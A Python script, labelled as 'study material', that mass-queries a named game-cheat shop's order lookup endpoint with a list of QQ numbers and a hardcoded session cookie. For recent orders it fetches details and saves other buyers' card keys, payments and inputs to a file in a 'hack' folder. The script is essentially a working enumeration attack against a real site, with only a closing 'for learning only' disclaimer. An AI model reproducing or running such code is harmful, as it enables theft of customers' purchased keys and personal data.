学习资料1
import datetime
import json
from multiprocessing.pool import Pool
import requests
# 当前时间 用于计算卡密时间
nowTime = datetime.datetime.now()
# 目标
url = 'http://lol.021tc.pw/ajax.php?act=query'
url_detail = 'http://lol.021tc.pw/ajax.php?act=order'
# 数据表单
d = {'type': '0', 'qq': 'xx', 'page': '1'}
# 请求头
req_header = dict()
req_header['Accept'] = 'application/json, text/javascript, */*; q=0.01'
req_header['Accept-Encoding'] = 'gzip, deflate'
req_header['Cache-Control'] = 'no-cache'
req_header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
req_header[
'Cookie'] = 'PHPSESSID=1hci9fm7r0ojgt5jn35rqevlh2; sec_defend=12cb426e186acdf6802cf9371e25ba3ef35addf5500ba9d826734bc5af301b20; mysid=9548b0c4f5cbcfacec504f2e8b3911bf; op=false; counter=3'
req_header['Pragma'] = 'no-cache'
req_header[
'User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47'
req_header['X-Requested-With'] = 'XMLHttpRequest'
req_header['Referer'] = 'http://lol.021tc.pw/'
req_header['Origin'] = 'http://lol.021tc.pw'
# 单人数据爬取
def goSingle(form):
# POST请求
r = requests.post(url, headers=req_header, data=form, verify=False)
reqStr = r.text
reqJson = json.loads(reqStr)
dataJson = json.loads(json.dumps(reqJson['data']))
if dataJson:
for i in dataJson:
buyTime = datetime.datetime.strptime(i['addtime'], "%Y-%m-%d %H:%M:%S")
expTime = (nowTime - buyTime).total_seconds() / 3600
# 如果有则请求明细 并打印
if expTime <= 24:
dt = {'id': i['id'], 'skey': i['skey']}
rt = requests.post(url_detail, headers=req_header, data=dt, verify=False)
rtJson = json.loads(rt.text)
with open(r'D:\Py_T\src\hack\res.txt', mode='a') as res:
print(("辅助:%s 时间:%s 消费:%s 卡密:%s 查询:%s 备注:%s\r" % (
rtJson['name'], rtJson['date'], rtJson['money'], rtJson['kminfo'], rtJson['inputs'],
rtJson['desc'])))
res.write("辅助:%s 时间:%s 消费:%s 卡密:%s 查询:%s 备注:%s\r" % (
rtJson['name'], rtJson['date'], rtJson['money'], rtJson['kminfo'], rtJson['inputs'],
rtJson['desc']))
else:
print("有记录qq但不小于两天:%s " % (form['qq']))
else:
print("无记录qq:%s" % (form['qq']))
if __name__ == '__main__':
qqli = []
with open(r'D:\Py_T\src\hack\res.txt', mode='w') as res:
res.truncate()
res.close()
with open(r'D:\Py_T\src\hack\qq.txt', mode='r') as qf:
for qq in qf:
d['qq'] = qq.strip()
qqli.append(d)
d = {'type': '0', 'qq': 'xx', 'page': '1'}
qf.close()
pool = Pool(processes=4)
result = pool.map(goSingle, qqli)
pool.close()
pool.join()
本脚本仅供学习参考,切勿用于非法用途,转载请注明来源